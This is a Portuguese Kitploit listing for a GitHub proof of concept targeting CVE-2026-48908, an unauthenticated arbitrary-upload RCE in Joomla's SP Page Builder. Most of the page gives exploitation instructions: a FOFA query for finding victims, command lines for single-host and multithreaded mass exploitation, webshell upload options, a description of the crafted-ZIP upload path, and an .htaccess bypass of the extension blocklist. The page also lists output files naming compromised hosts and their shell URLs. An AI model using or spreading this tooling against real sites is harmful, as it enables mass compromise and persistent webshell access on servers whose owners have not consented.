Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-48908 — PoC de RCE sem autenticação para CVE-2026-48908 SP Page Builder (Joomla) exploit de upload arbitrário de arquivos e execução remota de código com suporte a varredura em massa. | Kitploit
Ferramentas/GitHubGitHub/ayiezola/cve-2026-48908
ReconhecimentoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de PenetraçãoDesenvolvimento de Payloads
GitHubayiezola/cve-2026-48908

CVE-2026-48908

PoC de RCE sem autenticação para CVE-2026-48908 SP Page Builder (Joomla) exploit de upload arbitrário de arquivos e execução remota de código com suporte a varredura em massa.

Ver Repositório
1há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-48908 — SP Page Builder RCE não autenticado

SP Page Builder (com_sppagebuilder) para Joomla ≤ 6.6.1 permite que atacantes não autenticados carreguem arquivos arbitrários e obtenham Execução Remota de Código.

CampoValor
CVECVE-2026-48908
CWECWE-284 (Controle de Acesso Incorreto)
ComponenteSP Page Builder (com_sppagebuilder)
Afetado1.0.0 – 6.6.1
Corrigido em6.6.2
PrivilégiosNenhum (pré-autenticação)
Interação do usuárioNenhuma

Consulta FOFA

root@kitploit:~
body="com_sppagebuilder"

Uso

Requisitos

  • Python 3.8+
root@kitploit:~
pip install -r requirements.txt

Host único

root@kitploit:~
python3 exploit_poc.py https://target.example -c "id"
python3 exploit_poc.py --url target.example -c "uname -a"
python3 exploit_poc.py https://target.example --check          # apenas sonda, sem comando
python3 exploit_poc.py https://target.example --token abc123   # token personalizado

Varredura em massa

root@kitploit:~
python3 exploit_poc.py --hosts ips.txt -c "id"
python3 exploit_poc.py --hosts ips.txt -c "id" -j 20           # 20 threads paralelas
python3 exploit_poc.py --hosts ips.txt --no-verbose             # modo silencioso

Webshell personalizado

root@kitploit:~
python3 exploit_poc.py https://target.example --shell-file shell.php
python3 exploit_poc.py --hosts ips.txt --shell-file shell.php

Nota: Ao usar --shell-file, o script apenas carrega o webshell e informa a URL. Ele não executa o comando -c nem realiza qualquer teste de execução. O shell carregado deve lidar com a entrada de comando de forma independente.

Opções

Demonstração

Single host

Varredura em massa

Mass scan 1

Mass scan 2

Saída

Após uma varredura, cinco arquivos de resultado são salvos:

Como Funciona

O exploit abusa da tarefa asset.uploadCustomIcon do com_sppagebuilder:

  1. Faz POST de um ZIP manipulado (pacote de fontes de ícone) não autenticado — nenhum token CSRF necessário.
  2. O SPPB extrai o ZIP para /media/com_sppagebuilder/assets/iconfont/<nome>/fonts/.
  3. O arquivo PHP carregado é servido publicamente.

O script tenta várias extensões PHP (.php, .PHP, .pHp, .Php, .pht, .phtml, etc.) até encontrar uma que execute.

Bypass via htaccess

Quando as extensões PHP diretas são bloqueadas pelo filtro do SPPB, o script coloca um arquivo .htaccess junto com o payload:

root@kitploit:~
AddType application/x-httpd-php .PHP

Isso força o servidor web a tratar .PHP (maiúsculo) como PHP — contornando a lista de bloqueio sensível a maiúsculas/minúsculas do SPPB. Requer AllowOverride ativado e execução PHP permitida em /media.

Nota: A técnica de contorno com .htaccess + .PHP maiúsculo pode não funcionar em todas as configurações. Se falhar, tente usar extensões .png ou .jpeg. Em servidores com AllowOverride desabilitado ou execução PHP bloqueada em /media, até mesmo shells carregados não serão executados (relatado como 'somente gravação').

Modificações

Este PoC é baseado em https://github.com/papageo75/CVE-2026-48908-PoC/ com as seguintes adições:

1. Tratamento de Respostas Não-JSON

Algumas respostas do servidor podem conter prefixos não-JSON (por exemplo, expressões cron ou outros lixos) antes do payload JSON real. O PoC original falhava em r.json() ao analisar tais respostas. Esta versão procura pelo primeiro caractere { e tenta decodificar a substring JSON:

Antes:

root@kitploit:~
try:
    data = r.json()
except ValueError:
    return None

Depois:

root@kitploit:~
try:
    data = r.json()
except ValueError:
    raw = r.text
    idx = raw.find("{")
    if idx == -1:
        return None
    try:
        data, _ = json.JSONDecoder().raw_decode(raw[idx:])
    except ValueError:
        return None

Exemplo — resposta JSON válida:

root@kitploit:~
{
    "name": "icoctxojp",
    "data": {
        "id": 17,
        "type": "iconfont",
        "name": "icoctxojp",
        "title": "Icoctxojp",
        "assets": "[\"ico ico-x\"]",
        "css_path": "media/com_sppagebuilder/assets/iconfont/icoctxojp/style.css",
        "created": "2026-06-24 07:26:18",
        "created_by": 0,
        "published": 1,
        "access": 1,
        "thumb": "https://[REDACTED]//components/com_sppagebuilder/assets/images/customIcons/default.jpg"
    },
    "status": true,
    "output": "Uploaded"
}

Exemplo — resposta não-JSON (lixo prefixado antes do JSON):

root@kitploit:~
cron:self,tpl:amara_pro,cfg:ok{
    "name": "icoxwetsw",
    "data": {
        "id": 163,
        "type": "iconfont",
        "name": "icoxwetsw",
        "title": "Icoxwetsw",
        "assets": "[\"ico ico-x\"]",
        "css_path": "media\/com_sppagebuilder\/assets\/iconfont\/icoxwetsw\/style.css",
        "created": "2026-06-24 03:42:57",
        "created_by": 0,
        "published": 1,
        "access": 1,
        "thumb": "https:\/\/[REDACTED]\/\/components\/com_sppagebuilder\/assets\/images\/customIcons\/default.jpg"
    },
    "status": true,
    "output": "Uploaded"
}

2. Suporte a Varredura em Massa

Adicionada capacidade de varredura em massa com múltiplas threads:

  • --hosts <arquivo> — carregar alvos de um arquivo (um por linha)
  • -j, --threads <n> — definir número de threads paralelas (padrão: 10)
  • --no-verbose — suprimir saída detalhada por host
  • Resultados agrupados e salvos em arquivos .txt categorizados

3. Carregamento de Webshell Personalizado

Adicionada opção --shell-file <caminho> para carregar um webshell PHP personalizado em vez do shell protegido por token embutido. Ao usar esta opção:

  • O script carrega o shell sem executar comandos -c
  • Nenhum teste de execução (run()) é realizado
  • Todas as extensões funcionais são testadas e reportadas
  • Resultados salvos em custom_shell_hosts.txt

Aviso Legal

APENAS USO AUTORIZADO. Apenas para testes de penetração sancionados, CTF e alvos de laboratório. Você é o único responsável pela forma como usa esta ferramenta.

Baixar ferramenta
SinalizadorDescrição
urlURL alvo (posicional ou --url)
--hosts <arquivo>Arquivo com um host por linha
-c, --cmd <comando>Comando a executar (padrão: id)
--checkApenas sondagem, não executar comando
--token <token>Segredo que protege o shell carregado (padrão: aleatório)
--shell-file <caminho>Carregar um webshell PHP personalizado em vez do embutido
-j, --threads <n>Threads paralelas para varredura em massa (padrão: 10)
--no-verboseSuprimir saída detalhada por host
ArquivoConteúdo
vulnerable_hosts.txtHosts com RCE confirmada + URLs de webshell
not_vulnerable_hosts.txtHosts que estão corrigidos ou ausentes
partial_vulnerable_hosts.txtHosts com escrita de arquivo, mas sem execução PHP
custom_shell_hosts.txtHosts com shell personalizado carregado, agrupados por URL base (gerado apenas ao usar --shell-file)
scan_results.jsonResultados JSON completos para todos os hosts